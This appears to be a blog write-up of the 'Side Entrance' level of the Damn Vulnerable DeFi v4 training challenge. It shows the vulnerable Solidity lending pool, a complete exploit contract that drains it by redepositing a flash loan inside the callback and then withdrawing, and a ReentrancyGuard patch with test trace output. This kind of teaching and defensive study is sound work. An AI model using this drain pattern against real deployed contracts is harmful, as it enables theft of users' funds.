Damn Vulnerable DeFi V4 - 04 Side Entrance
![whiteberets[.]eth](https://cdn.hashnode.com/res/hashnode/image/upload/v1744366732112/d832a0cc-b001-4e77-953b-32f3de15c691.jpeg?w=500&h=500&fit=crop&crop=entropy&auto=compress,format&format=webp)

Challenge
A surprisingly simple pool allows anyone to deposit ETH, and withdraw it at any point in time.
It has 1000 ETH in balance already, and is offering free flashloans using the deposited ETH to promote their system.
Yoy start with 1 ETH in balance. Pass the challenge by rescuing all ETH from the pool and depositing it in the designated recovery account.
// SPDX-License-Identifier: MIT
// Damn Vulnerable DeFi v4 (https://damnvulnerabledefi.xyz)
pragma solidity =0.8.25;
import {SafeTransferLib} from "solady/utils/SafeTransferLib.sol";
interface IFlashLoanEtherReceiver {
function execute() external payable;
}
contract SideEntranceLenderPool {
mapping(address => uint256) public balances;
error RepayFailed();
event Deposit(address indexed who, uint256 amount);
event Withdraw(address indexed who, uint256 amount);
function deposit() external payable {
unchecked {
balances[msg.sender] += msg.value;
}
emit Deposit(msg.sender, msg.value);
}
function withdraw() external {
uint256 amount = balances[msg.sender];
delete balances[msg.sender];
emit Withdraw(msg.sender, amount);
SafeTransferLib.safeTransferETH(msg.sender, amount);
}
function flashLoan(uint256 amount) external {
uint256 balanceBefore = address(this).balance;
IFlashLoanEtherReceiver(msg.sender).execute{value: amount}();
if (address(this).balance < balanceBefore) {
revert RepayFailed();
}
}
}
Solve
This challenge requires us to drain all ETH from the pool and deposit it in the designated recovery account.
function _isSolved() private view {
assertEq(address(pool).balance, 0, "Pool still has ETH");
assertEq(recovery.balance, ETHER_IN_POOL, "Not enough ETH in recovery account");
}
The vulnerability in this challenge is the flashLoan(โฆ)
function used address(this).balance
to determine whether the borrower has repaid the loan.
function flashLoan(uint256 amount) external {
uint256 balanceBefore = address(this).balance;
IFlashLoanEtherReceiver(msg.sender).execute{value: amount}();
if (address(this).balance < balanceBefore) { //@audit vulnerable!
revert RepayFailed();
}
}
To exploit this vulnerability, we can:
Initiate a
flashLoan(โฆ)
function call.The
SideEntranceLenderPool
will callback tomsg.sender
(which is controlled by us).We call
deposit()
function in the callback stack.
This allows us to increase thebalances[]
out of the air. ๐After
flashLoan(โฆ)
function call, callwithdraw()
to withdraw all of the funds.
Full solution code:
function test_sideEntrance() public checkSolvedByPlayer {
Exploit exp = new Exploit(pool, ETHER_IN_POOL);
exp.start(); // step1: start borrow & deposit
payable(recovery).transfer(ETHER_IN_POOL); // step4: transfer funds to `recovery`
}
//===============================================================
contract Exploit {
SideEntranceLenderPool pool;
uint256 ETHER_IN_POOL;
constructor(SideEntranceLenderPool _pool, uint256 _ETHER_IN_POOL) {
pool = _pool;
ETHER_IN_POOL = _ETHER_IN_POOL;
}
function start() external {
pool.flashLoan(ETHER_IN_POOL); // step1-1: borrow funds
pool.withdraw(); // step2-1: withdraw funds
payable(msg.sender).transfer(address(this).balance); // step3: transfer funds back to `player`
}
function execute() external payable {
pool.deposit{value: msg.value}(); // step1-2: deposit funds
}
receive() external payable {} // step2-2: receive funds
}
Potential Patches
None, this level is just designed for fun.
I think in this challenge, using address(this).balance
with payable deposit()
function is dangers. If we want to break this game, we can try adding ReentrancyGuard to prevent borrower deposits funds in callback context.
import {ReentrancyGuard} from "openzeppelin-contracts/contracts/utils/ReentrancyGuard.sol";
contract SideEntranceLenderPool is ReentrancyGuard {
function deposit() external payable nonReentrant {}
function withdraw() external nonReentrant {}
function flashLoan(uint256 amount) external nonReentrant {}
}
forge test --match-path test/side-entrance/SideEntrance.t.sol -vvvv
[197383] SideEntranceChallenge::test_sideEntrance()
โโ [0] VM::startPrank(player: [0x44E97aF4418b7a17AABD8090bEA0A471a366305C], player: [0x44E97aF4418b7a17AABD8090bEA0A471a366305C])
โ โโ โ [Return]
โโ [134220] โ new Exploit@0xce110ab5927CC46905460D930CCa0c6fB4666219
โ โโ โ [Return] 448 bytes of code
โโ [23244] Exploit::start()
โ โโ [20003] SideEntranceLenderPool::flashLoan(1000000000000000000000 [1e21])
โ โ โโ [7640] Exploit::execute{value: 1000000000000000000000}()
โ โ โ โโ [343] SideEntranceLenderPool::deposit{value: 1000000000000000000000}()
โ โ โ โ โโ โ [Revert] ReentrancyGuardReentrantCall()
โ โ โ โโ โ [Revert] ReentrancyGuardReentrantCall()
โ โ โโ โ [Revert] ReentrancyGuardReentrantCall()
โ โโ โ [Revert] ReentrancyGuardReentrantCall()
โโ โ [Revert] ReentrancyGuardReentrantCall()
[FAIL. Reason: ReentrancyGuardReentrantCall()] test_sideEntrance() (gas: 197383)
Subscribe to my newsletter
Read articles from whiteberets[.]eth directly inside your inbox. Subscribe to the newsletter, and don't miss out.
Written by
![whiteberets[.]eth](https://cdn.hashnode.com/res/hashnode/image/upload/v1744366732112/d832a0cc-b001-4e77-953b-32f3de15c691.jpeg?w=500&h=500&fit=crop&crop=entropy&auto=compress,format&format=webp)
whiteberets[.]eth
whiteberets[.]eth
Please don't OSINT me, I'd be shy. ๐ซฃ